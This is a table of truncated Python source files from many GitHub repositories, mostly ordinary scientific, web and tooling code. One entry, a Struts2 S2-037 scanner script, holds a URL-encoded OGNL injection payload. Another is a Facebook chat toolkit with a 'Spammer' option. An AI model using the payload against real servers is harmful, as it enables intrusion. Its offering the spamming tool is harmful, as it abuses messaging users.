repo_name stringlengths 5 104 | path stringlengths 4 248 | content stringlengths 102 99.9k |
|---|---|---|
apmoore1/semeval | svrs/finsvr.py | from semeval import helper as helper
from semeval.svrs.feature_extractors.Tokeniser import Tokeniser
from semeval.svrs.feature_extractors.WordReplacement import WordReplacement
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.metrics import make_scorer
from sklearn.model_selection import GridS... |
etuna-SBF-kog/Stadsparken | env/lib/python2.7/site-packages/mustachejs/loading.py | from django.core.exceptions import ImproperlyConfigured
from django.utils.importlib import import_module
from .conf import conf
def find(name):
all_matches = {}
for finder in finders:
matches = finder.find(name)
# <finder>.find may return a single string. The name of the template
... |
wdmchaft/taskcoach | taskcoachlib/domain/__init__.py | '''
Task Coach - Your friendly task manager
Copyright (C) 2004-2010 Task Coach developers <developers@taskcoach.org>
Task Coach is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
... |
calaldees/KaraKara | website/karakara/views/__init__.py |
from decorator import decorator
from dogpile.cache.api import NO_VALUE as cache_none # bit of contamination here - cache is backed by dogpile
from calaldees.decorator import decorator_combine
from calaldees.pyramid_helpers import request_from_args, mark_external_request
from calaldees.pyramid_helpers.etag import e... |
404fovnd/vul | scan/poc/struts2_037.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
# PoC
s2037_poc = "/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23wr.println(%23parameters.content[0]),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.... |
peterferreira/kRPC-KSP-Python-scripts | PesteSat.py | # -*- coding:utf-8 -*-
#!/usr/bin/python3
##################################################################
## Peter Ferreira
## 03/11/2017
## Queria enviar outro projeto, mas não consegui ainda
##################################################################
from time import sleep
import winsound
impor... |
gerberlab/mitre | mitre/visualization.py | """ Utilities for visualizing rule input data. """
import numpy as np
import matplotlib.pyplot as plt
from .rules import DiscreteRulePopulation
from .data_processing import transforms
import scipy.stats
from sklearn.metrics import normalized_mutual_info_score as normalized_mi
from .rules import PrimitiveRule as Primit... |
quasoft/adblockradio | tests/test_adblockradio.py | import unittest
import logging
import sys
from adblockradio.adblockradio import App, ConsoleApp
class TestApp(unittest.TestCase):
def test___init___without_args(self):
app = App([])
self.assertIsNotNone(app._player)
self.assertIsNotNone(app.run)
app.terminate()
class TestConsole... |
NicovincX2/Python-3.5 | Algorithmique/Optimisation/Algorithme d'optimisation/Métaheuristique/Optimisation par essaims particulaires/speciation.py | # -*- coding: utf-8 -*-
import os
# This file is part of DEAP.
#
# DEAP is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as
# published by the Free Software Foundation, either version 3 of
# the License, or (at your option) any later ... |
rshipp/kapudan | src/kapudan/screens/scrServices.py | # -*- coding: utf-8 -*-
from PyQt5 import QtWidgets
#from PyQt5.QtCore import
from PyQt5.QtCore import QCoreApplication
from kapudan.screen import Screen
from kapudan.screens.ui_scrServices import Ui_servicesWidget
from kapudan.tools.daemon import Daemon
isUpdateOn = False
class Widget(QtWidgets.QWidget, Screen)... |
texta-tk/texta | migrate.py | import django # For making sure the correct Python environment is used.
from django.db import connections
from django.db.utils import OperationalError
from texta.settings import INSTALLED_APPS, MIGRATION_LOGGER
import subprocess
from time import sleep
import sys
import os
import shutil
import logging
import json
os.e... |
junipertcy/det_k_bisbm | docs/extlinks_fancy.py | # -*- coding: utf-8 -*-
"""
Extension to save typing and prevent hard-coding of base URLs in the reST
files.
This adds a new config value called ``extlinks_fancy`` that is created like this::
extlinks_fancy = {'exmpl': ('http://example.com/{0}.html', "Example {0}"), ...}
You can also give an e... |
chrislit/abydos | abydos/distance/_ncd_zlib.py | # Copyright 2014-2020 by Christopher C. Little.
# This file is part of Abydos.
#
# Abydos is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later versio... |
Balannen/LSMASOMM | atom3/ByteCodeCleaner.py | """
Simple script to remove PYC files. Can make Python distributions
smaller and have less files improving de/compression speed.
The script works automatically, starting at the directory from
which it is called, and recursing into all the subfolders.
"""
import os
def PythonByteCodeCleaner( dir, isInitialCall=Tr... |
Raukonim/piva | prac1.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Created on Wed Feb 11 10:10:54 2015
@author: raukonim
"""
from pylab import *
close('all')
interactive(True)
# Lectura de la imatge original en double per tal de poder fer les
# operacions necessaries sense preocupar-nos de comes flotants i altres
im=double(imread("torm... |
aditya1702/open-event-orga-server | migrations/env.py | from __future__ import with_statement
from alembic import context
from sqlalchemy import engine_from_config, pool
from logging.config import fileConfig
import logging
from flask import current_app
# this is the Alembic Config object, which provides
# access to the values within the .ini file in use.
config = context.... |
anupam-mitra/PySpikeSort | spikesort/cluster/euclidean.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# ${FILENAME}
#
# Copyright 2015 Anupam Mitra <anupam.mitra@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2... |
pythonpeh/moodlight | detect.py | #!/usr/bin/env python
import unicornhat as unicorn
print("""Detect
Note: Your Unicorn HAT must be plugged in before boot to detect properly!
""")
print("Trying to detect if you have a Unicorn HAT or Unicorn pHAT")
unicorn.set_layout(unicorn.AUTO)
print("Autodetection finished, let's see the result...")
print("")... |
hezral/Rogu | reference/gtkcss.py | #!/usr/bin/python3
import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk, Gdk
import sys
class MyWindow(Gtk.Window):
def __init__(self):
Gtk.Window.__init__(self, title="Hello World")
self.set_name('MyWindow')
self.set_default_size(600, 300)
self.box = Gtk.HBox... |
BrainTech/openbci | obci/utils/tagger_gui/timer.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
from PyQt4 import QtGui, QtCore
class Timer(QtGui.QWidget):
def __init__(self, value, parent):
super(Timer, self).__init__(parent)
self.label = QtGui.QLabel(self)
self.init_value = value
self.value = value
self.update_timer_display(... |
ThomasTheSpaceFox/Desutezeoid | plugins/shaders-glitch.dzup.py | #!/usr/bin/env python
class PLUGIN_shaders_glitch:
def __init__(self, screensurf, keylist, vartree):
self.screensurf=screensurf
self.keylist=keylist
#best practice to init keyid variables during init, and default them to "0" (the null keyid)
self.keyid="0"
self.glitchy=0
self.glitchlimit=self.screensurf.g... |
Times-0/Timeline | Timeline/PacketHandler/XMLHandler.py | '''
Timeline - An AS3 CPPS emulator, written by dote, in python. Extensively using Twisted modules and is event driven.
This packet handler file implements XML Handlers - apiChk, rndK, login
'''
from Timeline.Server.Constants import TIMELINE_LOGGER, PACKET_TYPE, PACKET_DELIMITER, LOGIN_SERVER, WORLD_SERVER, LOGIN_SERVE... |
josepedro/acidentes_em_rodovias_refatoracao | acidentes_em_rodovias/acidentes_em_rodovias/urls.py | from django.conf.urls import patterns, include, url
# Uncomment the next two lines to enable the admin:
# from django.contrib import admin
# admin.autodiscover()
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'acidentes_em_rodovias.controller.home', name='home'),
# url(r'^acidentes_em_rodovias/', inc... |
pecholakov/CaloCalc | src/controller.py | from models import connect
from food import *
from account import *
from consumed_food import *
from statistics import *
class Controller:
# after login user must be settled
@classmethod
def login(cls, user_name, password):
if Account.match_user_password(cls.session, user_name, password):
... |
privateip/ansible | lib/ansible/modules/service.py | # -*- coding: utf-8 -*-
# Copyright: (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = r'''
---
module: service
version... |
acutesoftware/AIKIF | tests/test_cls_filelist.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
# test_cls_file.py
# unit testing for collection class
import unittest
import os
import sys
root_folder = os.path.abspath(os.path.dirname(os.path.abspath(__file__)) + os.sep + "..")
sys.path.append(root_folder + os.sep + 'aikif' + os.sep + 'lib')
op_folder = os.path.join(... |
simvisage/oricreate | oricreate/opt/i_opt.py | '''
Created on Oct 29, 2014
@author: rch
'''
from traits.api import \
Interface, Property, Instance, \
Dict, Str
from .i_fu import \
IFu
from .i_gu import \
IGu
from .i_hu import \
IHu
class IOpt(Interface):
r'''Configuration of the optimization problem
including the goal functions, an... |
polyrabbit/WeCron | WeCron/remind/serializers.py | #coding: utf-8
from __future__ import unicode_literals, absolute_import
import logging
from datetime import datetime
from django.utils.dateformat import format
from django.contrib.auth import get_user_model
from django.utils import timezone
from django.core.urlresolvers import reverse
from rest_framework import serial... |
gcallah/Indra | indraV1/models/archive/menu_run.py | #!/usr/bin/env python3
"""
This is a simple test script. It can be cloned to
create new run scripts, and should be run to test
the system after library changes.
"""
import indra.utils as utils
import indra.prop_args as props
import models.menu as mm
# set up some file names:
MODEL_NM = "menu_model"
def run():
(p... |
thtrieu/essence | src/sugar.py |
def __getitem__(self, item):
return self._x('slice', item[0], item[1:])
def turing(self, x, out_size, memory_size,
vec_size, controller_size, shift = 1):
return self._x('turing', x, out_size, memory_size,
vec_size, controller_size, shift)
def batch_slice(self, x, position, a... |
pschmitt/hass-config | config/hass/custom_components/aarlo/pyaarlo/device.py | import threading
from .constant import (BATTERY_KEY, BATTERY_TECH_KEY, CHARGING_KEY, CHARGER_KEY,
CONNECTION_KEY, RESOURCE_KEYS,
RESOURCE_UPDATE_KEYS, SIGNAL_STR_KEY,
XCLOUD_ID_KEY)
class ArloDevice(object):
def __init__(self, name, arlo, attr... |
yaoguai/sanzang | setup.py | #!/usr/bin/env python3
"""Sanzang setup script for packaging and installation."""
from distutils.core import setup
with open('README.rst', 'r', encoding='utf-8') as fin:
LONG_DESCRIPTION = fin.read()
setup(
#
# Basic information
#
name='sanzang',
version='1.3.4',
author='yaoguai',
ur... |
sadjadasghari/deeplab4a2d | segmente_oldr.py | #!/usr/bin/env python
# Martin Kersner, m.kersner@gmail.com
# 2016/03/11
# Segmenter is an image segmentation specialization of Net.
# Inspired by https://github.com/torrvision/crfasrnn/blob/master/caffe-crfrnn/python/caffe/segmenter.py
import numpy as np
caffe_root = 'code/'
import sys
sys.path.insert(0, caffe_root... |
Musaka96/FB-Chat-Toolkit | chat.py | import fbchat
def login():
username = input("Enter your id --> ")
password = input("Enter your password --> ")
try:
client = fbchat.Client(username, password)
except:
print("id or password is wrong")
login()
menu(client)
def menu(client):
print("1.Messenger")
print("2.Spammer")
print("3.Log out")
c... |
jeremiah-c-leary/vhdl-style-guide | vsg/tests/report_statement/test_rule_501.py |
import os
import unittest
from vsg.rules import report_statement
from vsg import vhdlFile
from vsg.tests import utils
sTestDir = os.path.dirname(__file__)
lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_501_test_input.vhd'))
lExpected_lower = []
lExpected_lower.append('')
utils.read_file(os... |
lypnol/adventofcode-2016 | day-2/part-2/david.py | from submission import Submission
pad = [
[None, None, '1', None, None],
[None, '2', '3', '4' , None],
[ '5', '6', '7', '8' , '9' ],
[None, 'A', 'B', 'C' , None],
[None, None, 'D', None, None]
]
class DavidSubmission(Submission):
def author(self):
return 'Dav... |
pscedu/distrib.stumbleupon-tcollector | collectors/0.tahini/xiostat.py | #!/usr/bin/python
# This file is part of tcollector.
# Copyright (C) 2010 StumbleUpon, Inc.
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or (at your... |
sghai/robottelo | tests/foreman/cli/test_repository.py | # -*- encoding: utf-8 -*-
"""Test class for Repository CLI
:Requirement: Repository
:CaseAutomation: Automated
:CaseLevel: Acceptance
:CaseComponent: CLI
:TestType: Functional
:CaseImportance: High
:Upstream: No
"""
from fauxfactory import gen_alphanumeric, gen_string
from robottelo import ssh
from robottelo.cl... |
lipschultz/gnumeric-py | manual_tests.py | """
Gnumeric-py: Reading and writing gnumeric files with python
Copyright (C) 2017 Michael Lipschultz
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your opti... |
sitexa/foobnix | foobnix.py | #!/usr/bin/env python
import os
import sys
import time
import logging
import traceback
from gi import pygtkcompat, require_version
pygtkcompat.enable_gtk(version="3.0")
from gi.repository import Gtk
from gi.repository import GLib
from threading import Timer
from foobnix.fc.fc import FC
from foobnix.util import LOG... |
kenwith/cs561 | cs561-as1-kenwith/.scratch/foo10.py | #!/usr/bin/python
"""Goal is to open web server on h1, then get from h2"""
from mininet.util import ensureRoot, dumpNodeConnections
from mininet.topo import MinimalTopo, Topo
from mininet.net import Mininet
from mininet.link import TCLink
from mininet.node import CPULimitedHost
from time import sleep
#from subproce... |
nachstedt/sq100 | sq100/serial_connection.py | # SQ100 - Serial Communication with the a-rival SQ100 heart rate computer
# Copyright (C) 2017 Timo Nachstedt
#
# This file is part of SQ100.
#
# SQ100 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either v... |
feikname/spades-server | piqueserver/core_commands/player.py | from piqueserver.commands import command, get_player, PermissionDenied
@command("client", "cli")
def client(connection, target=None):
"""
Tell you information about your client or the client of a given player
/client [player]
"""
if not target:
player = connection
who_is = "You are"... |
FreifunkChemnitz/ulg | whois.py | #!/usr/bin/env python
#
# ULG - Universal Looking Glass
# (C) 2012 CZ.NIC, z.s.p.o.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any l... |
yeyanchao/calibre | src/calibre/utils/filenames.py | '''
Make strings safe for use as ASCII filenames, while trying to preserve as much
meaning as possible.
'''
import os
from math import ceil
from calibre import sanitize_file_name, isbytestring, force_unicode
from calibre.constants import (preferred_encoding, iswindows,
filesystem_encoding)
from calibre.utils.... |
jeffffc/wwstatsbot | main.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# wolfcardbot.py - Extracts Werewolf for Telegram Stats & Displays in Chat
# author - Carson True
# license - GPL
# edited by @jeffffc
# /search by @jamiscs
# /info by @Olgabrezel
import requests
import logging
from telegram import InlineKeyboardButton, InlineKeyboardM... |
hubert667/AIR | build/billiard/pavement.py | import sys
from paver.easy import *
from paver import doctools
from paver.setuputils import setup
PYCOMPILE_CACHES = ["*.pyc", "*$py.class"]
options(
sphinx=Bunch(builddir=".build"),
)
def sphinx_builddir(options):
return path("docs") / options.sphinx.builddir / "html"
@task
def clean_docs(options):
... |
lowmanio/Webscavator | webscavator/webscavator/test/unittests/test_models.py | # python modules
import unittest
from datetime import datetime, time as d_time, timedelta
import time
# local models
from webscavator.model.models import *
from webscavator.model.filters import *
from webscavator.utils.utils import session
from webscavator.converters import get_name
class get_plotableTestCase(unittest... |
miteshvp/fabric8-analytics-worker | f8a_worker/workers/__init__.py | """Import all tasks."""
from f8a_worker.workers.CVEchecker import CVEcheckerTask
from f8a_worker.workers.bookkeeper import BookkeeperTask
from f8a_worker.workers.cvedbsync import CVEDBSyncTask
from f8a_worker.workers.dependency_parser import GithubDependencyTreeTask
from f8a_worker.workers.dependency_snapshot import D... |
j-4/reprap-web-interface | cgi-bin/stop_print.py | #!/usr/bin/env python
''' This is a the stop script which cleans the cache and kills all running processes.
Copyright (C) 2013 Stefan Hammer
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foun... |
ankanch/tieba-zhuaqu | DSV-user-application-plugin-dev-kit/default-plugins/multiwords/lib/result_functions_file.py | import pymysql
import os
import datetime
import lib.maglib as MSG
#这是一个对结果进行初步处理的库
#用来分离抓取结果,作者,发帖时间
#抓取结果应该储存在【用户端根目录】并以result命名
#在测试情况下,抓取结果文件为results.txt
#重要全局变量
PATH_SUFFIX = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir))
print(PATH_SUFFIX)
PATH_SUFFIX = PATH_SUFFIX[::-1]
PATH_SUFFIX... |
mmariani/dream | dream/simulation/GUI/Default.py | import json
import datetime
from dream.simulation.LineGenerationJSON import main as simulate_line_json
from dream.simulation.Queue import Queue
from copy import deepcopy
# describe type for properties
schema = {
"entity": {
"id": "entity",
"name": "Entity Class",
"description": "The Class of entity creat... |
zozo123/buildbot | slave/buildslave/test/unit/test_commands_bk.py | # This file is part of Buildbot. Buildbot is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without eve... |
alfkjartan/nvgimu | nvg/io/asf_amc.py | """
Reading of ASF/AMC body model movement files.
"""
# Copyright (C) 2009-2011 University of Edinburgh
#
# This file is part of nvg.
#
# IMUSim is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3... |
david-why/sitcat | Program/first.py | #!/usr/bin/python
import time
import RPi.GPIO as GPIO
BUZZER = 11
GPIO_ECHO = 14
GPIO_TRIGGER = 15
SOUND_SPEED = 34029
def get_distance():
'''
Get distance from HC-SR04 Ultrasonic Sensor
:return: int, distance in cm
'''
GPIO.output(GPIO_TRIGGER, GPIO.HIGH)
time.sleep(0.00001)
GPIO.output(GP... |
HoshinoTouko/ha-ss-autogen | autoGen.py | __author__ = 'touko'
# -*- coding: utf-8 -*-
#!/usr/bin/python
def blockFunc( portNumber1, portNumber2, domainName ):
portNumber1 = str(portNumber1)
portNumber2 = str(portNumber2)
listAdd('frontend ss-in-' +portNumber1)
listAdd(' bind *:' +portNumber1)
listAdd(' default_backend ss-ou... |
augustoqm/MCLRE | src/recommender_execution/mrbpr/mrbpr_runner.py | #!/usr/bin/python
# =======================================================================
# This file is part of MCLRE.
#
# MCLRE is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the Lice... |
autonimo/autonimo | autonimo/components/component.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import abc
from PyQt4 import QtGui
from time import sleep
from models.model import KEY_NAME, KEY_NONE_ALLOWED, KEY_EDITOR, KEY_EDITOR_PROPS, KEY_PARAMETERS
class Component(object):
__metaclass__ = abc.ABCMeta
NAME = None
CATEGORY = None
DESCRIPTION = No... |
crisely09/horton | horton/modelhamiltonians/test/test_hubbard.py | # -*- coding: utf-8 -*-
# HORTON: Helpful Open-source Research TOol for N-fermion systems.
# Copyright (C) 2011-2016 The HORTON Development Team
#
# This file is part of HORTON.
#
# HORTON is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by th... |
iotile/coretools | iotilesensorgraph/iotile/sg/optimizer/passes/remove_constants.py | """Remove unnecessary constants."""
import logging
from iotile.sg import DataStream
class RemoveConstantsPass:
"""Run the remove constants optimization pass.
Sometimes we remove nodes that would otherwise have a constant
input and thus there are constants remaining in the sensor_graph
added via `add... |
bmarshallk/NAASC | annotated_scripts/SSOLowSNRScriptAnnotated.py | #the following minsnr and gaincal tasks go into gaincal step
minsnr = 3.0
#determining offsets between SPWs
gaincal(vis = '*.ms.split',
caltable = '*.ms.split.phase_offsets',
field = '0', #bandpass
selectdata = T,
solint = 'inf',
refant = 'DA45',
gaintype = 'G', #polarization-dependent ... |
mrcouts/Bootstrap-Paradox | Simulação e Modelagem/PlotWorkspace.py | import matplotlib.pyplot as plt
import numpy as np
from InKinNum import *
#
lx=0.25 # Largura do retangulo
ly=0.28 # Altura do retangulo
dl=0.0005 # discretizacao
nx=int(lx/dl) # quadradinhos em x
ny=int(ly/dl) # quadradinhos em y
M=zeros(ny,nx) # Malha da discretizacao
epsx=0.0004 # valor maximo do modulo do determ... |
metomi/rose | metomi/rose/macro.py | # Copyright (C) British Crown (Met Office) & Contributors.
# This file is part of Rose, a framework for meteorological suites.
#
# Rose is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the L... |
tsdfsetatata/xserver | Server/dump_srv/print_pos_sync.py | #!/usr/bin/python
# coding: utf-8
import sys
from socket import *
import raid_pb2
import move_pb2
import cast_skill_pb2
import move_direct_pb2
import role_pb2
import datetime
import get_one_msg
import get_uuid_type
WATCH_PLAYER = {}
WATCH_UUID = {1125901403839415}
HOST='127.0.0.1'
PORT=13697
PORT=get_one_msg.get_dum... |
ayes/bsmapp | userdash/views.py | from django.shortcuts import render_to_response
from django.contrib.auth.decorators import login_required
from django.template import RequestContext
from userdash.models import *
from django.contrib import auth
from django.http import HttpResponse, HttpResponseRedirect, Http404
from acp.models import *
from userdash.fo... |
sjamcsclub/ROOM-B-CS-Club-Materials | Ciphers/ord chr table.py | c2=32
c3=32
for i in range(1,13):
if (i % 2)==1:
s1='chr: '
else:
s1='asc: '
if (s1=='chr: '):
for j in range(0,16):
if (j == 0):
p1=(' ')+chr(c2)
else:
p1=3*(' ')+chr(c2)
s1=s1+p1
c2=c2+1
print(s1)
if (s1=='asc: '):
for j in range(0,16):
... |
sanacl/GrimoireELK | grimoire/elk/bugzillarest.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# BugzillaREST to Elastic class helper
#
# Copyright (C) 2015 Bitergia
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the Lice... |
fredriksapps/liver | gui.py | #!/usr/bin/python3
# Copyright 2017 Kyle
# This file is part of liver.
# liver is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.... |
joereynolds/Mr-Figs | src/input_handlers/player_input_handler.py | import pygame
from src.event_command import EventCommand
class PlayerInputHandler():
"""Handles all input processing for players.
This is meant to be extendable so that in theory,
we can pass this class to 400 players and they could
all handle their input with minimal extra effort from me."""
def ... |
volcanoauthors/volcano-ci-tests | src/gn/toolchain/gcc_solink_wrapper.py | #!/usr/bin/env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Copyright (c) 2017-2018 the Volcano Authors. All rights reserved.
# Licensed under the GPLv3.
"""Runs 'ld -shared' and generates a .TOC file that's untouched when unchanged.
This script exists to avoid using complex shell commands in
... |
sk1418/passwdmanager | setup.py | # PasswdManager -- Password management tool
# Copyright (C) 2009 -- 2013 Kai Yuan <kent.yuan@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (... |
isislovecruft/switzerland | switzerland/server/Matchmaker.py | #!/usr/bin/env python
import threading
import logging
import time
from switzerland.common.Flow import print_flow_tuple
from switzerland.common.PcapLogger import PcapLogger
from switzerland.common import util
from switzerland.server import Reconciliator
log = errlog = logging.getLogger('matchmaker')
errlog.setLevel(lo... |
Gaolious/algorithm | ProjectEuler/euler_python/utils/help.py | import math
from typing import List
def factorial(n: int) -> int:
ret = 1
for i in range(1, n+1):
ret *= i
return ret
def combination(n: int, c: int) -> int:
return factorial(n) // factorial(n-c) // factorial(c)
def gcd(a: int, b: int) -> int:
while b > 0:
a, b = b, a % b
... |
prabhath6/theguardian-api-python | examples/tags_example.py | """
1. Get total number of available tags.
2. print first 15 web title for tags of type 'contributor'
"""
from theguardian import theguardian_tag
# 1.
tag = theguardian_tag.Tag(api="test")
tag_response_headers = tag.response_headers()
print("Total number of tags: {tags_count}."
.format(tags_count=tag_response_h... |
bitcraft/tailor | tailor/plugins/composer/filters/old_filters.py | """
UNUSED
just kept around for reference
"""
import os
import subprocess
from tailor.config import pkConfig
def execute(cmd):
subprocess.call(cmd.split())
class ColorTone:
@staticmethod
def process(filename, color, level, type=0, output=None):
if output is None:
output = filename
... |
kevclarx/ansible | test/units/modules/network/f5/test_bigip_user.py | # -*- coding: utf-8 -*-
#
# Copyright 2017 F5 Networks Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) a... |
climu/openstudyroom | community/views.py | from datetime import datetime
from dateutil.relativedelta import relativedelta
from pytz import utc
from django.shortcuts import get_object_or_404, render
from django.http import HttpResponseRedirect, Http404, HttpResponse, JsonResponse
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from... |
gustfrontar/LETKF_WRF | common_python/common_modules/ctl_reader.py | import numpy as np
import numpy.ma as ma
import os
#Este modulo lee un ctl de grads para obtener parametros imporantes para la lectura de los datos
def read_ctl( filename , coding='utf-8' ) :
fp=open(filename,'rb')
ctl_ori=fp.read().decode(coding)
ctl=dict()
#Read some parameters and dimensions.
ctl['templat... |
2ndquadrant-it/barman | barman/clients/cloud_backup_list.py | # Copyright (C) 2018-2020 2ndQuadrant Limited
#
# This file is part of Barman.
#
# Barman is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later versio... |
Samnsparky/cdibase | prog_code/util/recalc_util_test.py | """Tests for recalculating prior values in the database.
Copyright (C) 2014 A. Samuel Pottinger ("Sam Pottinger", gleap.org)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the L... |
chjost/analysis-code | chiral_analysis.py | #!/hadron/knippsch/Enthought/Canopy_64bit/User/bin/python
##!/usr/bin/python
################################################################################
#
# Author: Christopher Helmes (helmes@hiskp.uni-bonn.de)
# Date: Februar 2016
#
# Copyright (C) 2016 Christopher Helmes
#
# This program is free software: you... |
turbinesFoam/turbinesFoam | tutorials/actuatorLine/static/scripts/set_alpha.py | #!/usr/bin/env python
from __future__ import print_function
import sys
import argparse
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("alpha_deg", nargs="?", type=float, default=10.0)
parser.add_argument("--three-dim", "-d", action="store_true", default=False,
... |
openqt/algorithms | leetcode/python/lc851-loud-and-rich.py | # coding=utf-8
import unittest
"""851. Loud and Rich
https://leetcode.com/problems/loud-and-rich/description/
In a group of N people (labelled `0, 1, 2, ..., N-1`), each person has
different amounts of money, and different levels of quietness.
For convenience, we'll call the person with label `x`, simply "person `x`... |
pombredanne/nuitka-old-no-longer-maintained | tests/basics/Referencing.py | #
# Kay Hayen, mailto:kayhayen@gmx.de
#
# Python test originally created or extracted from other peoples work. The
# parts from me are in the public domain. It is at least Free Software
# where it's copied from other people. In these cases, it will normally be
# indicated.
#
# If you submit Kay ... |
the-nic/halmd | examples/plotting/plot_h5md.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright © 2011 Felix Höfling
#
# This file is part of HALMD.
#
# HALMD is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
#... |
ARTFL-Project/PhiloLogic4 | python/philologic/runtime/reports/collocation.py | #!/usr/bin/env python3
"""Collocation results"""
import os
import timeit
from collections import defaultdict
import string
import msgpack
import lz4.frame
from philologic.runtime.DB import DB
from philologic.runtime.Query import get_expanded_query
remove_punctuation_map = dict((ord(char), None) for char in string.pu... |
bmuk/slackbot | slackbot/slackbot.py | import logging
import subprocess
import sys
from slouch import Bot, help
class OpsBot(Bot):
def prepare_connection(self, config):
print("MY NAME IS: {}".format(self.name))
print("MY ID IS: {}".format(self.id))
print("MY MENTION IS: {}".format(self.my_mention))
# Provides help on available ... |
lajto/ww-i18n | src/config.py | """
"""
import logging
import os
import sys
try: # pragma: nocover
from ConfigParser import ConfigParser
config = ConfigParser()
except ImportError: # pragma: nocover
from configparser import ConfigParser
config = ConfigParser(strict=False)
from datetime import timedelta
from wheezy.caching.loggin... |
papedaniel/oioioi | oioioi/problems/management/commands/addproblem.py | import os.path
from django.core.management.base import BaseCommand, CommandError
from django.utils.translation import ugettext as _
from django.db import transaction
from oioioi.problems.package import backend_for_package, NoBackend
from oioioi.base.utils import get_object_by_dotted_name
class Command(BaseCommand):
... |
shanot/imp | modules/saxs/test/test_weighted_profile.py | from __future__ import print_function
import IMP
import IMP.test
import IMP.atom
import IMP.core
import IMP.saxs
import os
import time
import io
class Tests(IMP.test.TestCase):
def test_weighted_profile(self):
"""Check profile fitting with weights"""
m = IMP.Model()
#! read PDB
m... |
cristian99garcia/cexplorer | globals.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2014, Cristian García <cristian99garcia@gmail.com>
# Copyright (C) 2015, Cristian García <cristian99garcia@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as publish... |
sjirjies/nss | world.py | import os
import csv
import time
import math
import numpy as np
from sim_entities import Bot, Plant, Signal
from intelligence import BehaviorGraph
from random import randint
from scipy.spatial import cKDTree
from matplotlib import pyplot as plt
import matplotlib.gridspec as gridspec
from intelligence import NodeRegiste... |
rocket-league-replays/rocket-league-replays | rocket_league/apps/replays/migrations/0011_replaypack.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('replays', '0010_auto_20150808_0915'),
... |
Outernet-Project/ondd-ipc | ondd_ipc/ipc.py | """
ipc.py: make XML IPC to ondd via its control socket
Copyright 2014-2015, Outernet Inc.
Some rights reserved.
This software is free software licensed under the terms of GPLv3. See COPYING
file that comes with the source code, or http://www.gnu.org/licenses/gpl.txt.
"""
from __future__ import unicode_literals
imp... |
openqt/algorithms | leetcode/python/lc777-swap-adjacent-in-lr-string.py | # coding=utf-8
import unittest
"""777. Swap Adjacent in LR String
https://leetcode.com/problems/swap-adjacent-in-lr-string/description/
In a string composed of `'L'`, `'R'`, and `'X'` characters, like
